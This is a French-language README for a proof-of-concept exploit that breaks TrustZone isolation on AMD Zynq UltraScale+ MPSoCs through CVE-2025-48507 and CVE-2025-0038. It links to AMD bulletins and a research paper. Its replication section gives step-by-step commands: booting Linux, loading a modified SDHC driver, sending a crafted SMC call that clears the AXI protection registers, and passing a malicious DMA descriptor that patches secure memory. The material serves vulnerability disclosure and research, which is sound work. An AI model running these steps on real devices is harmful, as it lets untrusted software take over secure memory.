Briser TrustZone sur les MPSoC Zynq UltraScale+ - Preuve de concept pour CVE-2025-48507 et CVE-2025-0038

Un logiciel non sécurisé pourrait exploiter CVE-2025-48507 et CVE-2025-0038 pour obtenir un accès en lecture/écriture au monde sécurisé sur les plateformes Zynq UltraScale+, brisant ainsi l'isolation TrustZone. À cet effet, le logiciel non sécurisé exploite CVE-2025-0038 et CVE-2025-48507 pour effacer les registres IOU_AXI_WPRTCN et IOU_AXI_RPRTCN (0xFF240000) afin de basculer le contrôleur hôte SD en tant que maître sécurisé. Ensuite, le logiciel non sécurisé (par exemple Linux) utilise le contrôleur hôte SD (l'interface esclave reste non sécurisée) pour écrire ou lire dans n'importe quelle mémoire sécurisée.

Plus d'informations :

• Bulletins de sécurité d'AMD :
  • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
  • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
• Présentation PowerPoint du PoC : /doc/PoC_Exploit_presentation.pdf
• Vidéo du PoC : https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
• Article de recherche original (section 5.5) : /doc/preprint.pdf

Plateformes concernées :

• Kria™ SOM
• Zynq UltraScale+ MPSoCs
• Zynq UltraScale+ RFSoCs

Composants concernés :

• Arm Trusted Firmware pour processeurs Cortex-A (TF-A) et PMU Firmware versions jusqu'à 2025.1.

Organisation de ce dépôt :

• source/ : Source pour reproduire ce PoC sur les MPSoC Zynq UltraScale+ (ZC104)

  • Pour exploiter CVE-2025-48507 et CVE-2025-0038

    • smc-tt.c : Module noyau de base qui permet à un Linux non sécurisé d'émettre des appels SMC arbitraires.

    • Makefile : Un Makefile pour la compilation croisée des modules noyau (les chemins doivent être adaptés).

  • Pour exploiter CVE-2025-0038 et CVE-2025-48507

    • sdhc.c : Pilote SDHC modifié permettant de réaliser des attaques DMA en utilisant le contrôleur hôte SD (SDHC)
    • dma_patch.sh : Un script pratique qui s'appuie sur le pilote SDHC modifié pour patcher des régions mémoire arbitraires via les capacités DMA du SDHC

• doc/ : Présentations et article de recherche détaillant les vulnérabilités de sécurité au niveau TF-A et PMU.

• hw_debug/ : Scripts de débogage matériel pour déboguer TF-A sur l'APU et le processeur PMU. Ils fournissent un environnement pour déboguer les fonctions affectées dans le firmware PMU et TF-A et confirmer le succès de l'attaque. Ces scripts sont à utiliser avec Trace32 et un débogueur matériel JTAG Lauterbach PowerDebug PRO. Le débogueur matériel a été connecté au port JTAG (J180) du ZCU104.

Réplication de l'attaque

Construction de l'environnement :

1. Construire un environnement affecté (c'est-à-dire Linux, TF-A, PMU Firmware...).

   • par exemple, images pré-construites de Petalinux, Yocto, outils Petalinux...

2. Lors de la construction de Linux, configurer le pilote SDHC en tant que module noyau chargeable via kconfig. Ceci est requis uniquement pour l'exploitation.

   • MMC_SDHCI=M

3. Compiler les modules noyau smc-tt.c et sdhci.c. Le Makefile fourni peut être utilisé en adaptant les chemins du noyau et du compilateur.

4. Pour exploiter les CVE, ajouter smc-tt.ko au rootfs Linux

5. Pour l'exploitation des CVE, ajouter sdhci.ko et dma_patch.sh au rootfs Linux

PoC et exploit des CVE :

Dans le PoC, le système (c'est-à-dire fslb, uboot...) a été amorcé à partir d'une carte SD. Le rootfs de Linux a été flashé sur une clé USB. Pour l'attaque DMA, Linux a utilisé une partition vide de la carte SD accédée par le contrôleur hôte SD piloté par le pilote SDHC modifié (sdhci.ko).

Pour simplement tester les CVE, les étapes 2, 3 et 5 peuvent être ignorées.

1. Commandes U-boot pour amorcer Linux dans le monde non sécurisé avec son rootfs sur une partition USB :

   root@kitploit:~

   setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
   

2. Insérer le pilote SDHC modifié pour effectuer un accès DMA arbitraire :

   root@kitploit:~

   insmod /sdhci.ko
   insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
   insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
   

3. Essayer de patcher la mémoire sécurisée en utilisant le pilote SDHC modifié. Cela devrait échouer car le SDHC est encore non sécurisé :

   root@kitploit:~

   ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
   

   • ARG1 : PAYLOAD

   • ARG2 : Descripteur malveillant pour effectuer un accès DMA frauduleux.

     • Par exemple, '\x00\x00\xdc\xff\x20\x00\x23\x00' pour patcher 0x20 octets à l'adresse 0xFFDC0000. \x23\x00 doit être laissé tel quel

   • ARG3 : Une partition de périphérique gérée par le contrôleur hôte SD contrôlé par le pilote SDHC modifié.

     • Par exemple, /dev/mmcblk0p3

4. Exploiter les CVE pour effacer IOU_AXI_WPRTCN et IOU_AXI_RPRTCN (0xFF240000) :

   root@kitploit:~

   insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
   

   • 0xc200002E : Appel SMC affecté (PM_FPGA_READ).

   • 0xff24000000000100 : Adresse à effacer (0xFF240000) (c'est-à-dire IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) et le nombre d'octets à effacer (0x00000100)

Maintenant, Linux peut utiliser le DMA du SDHC pour accéder pleinement à la mémoire sécurisée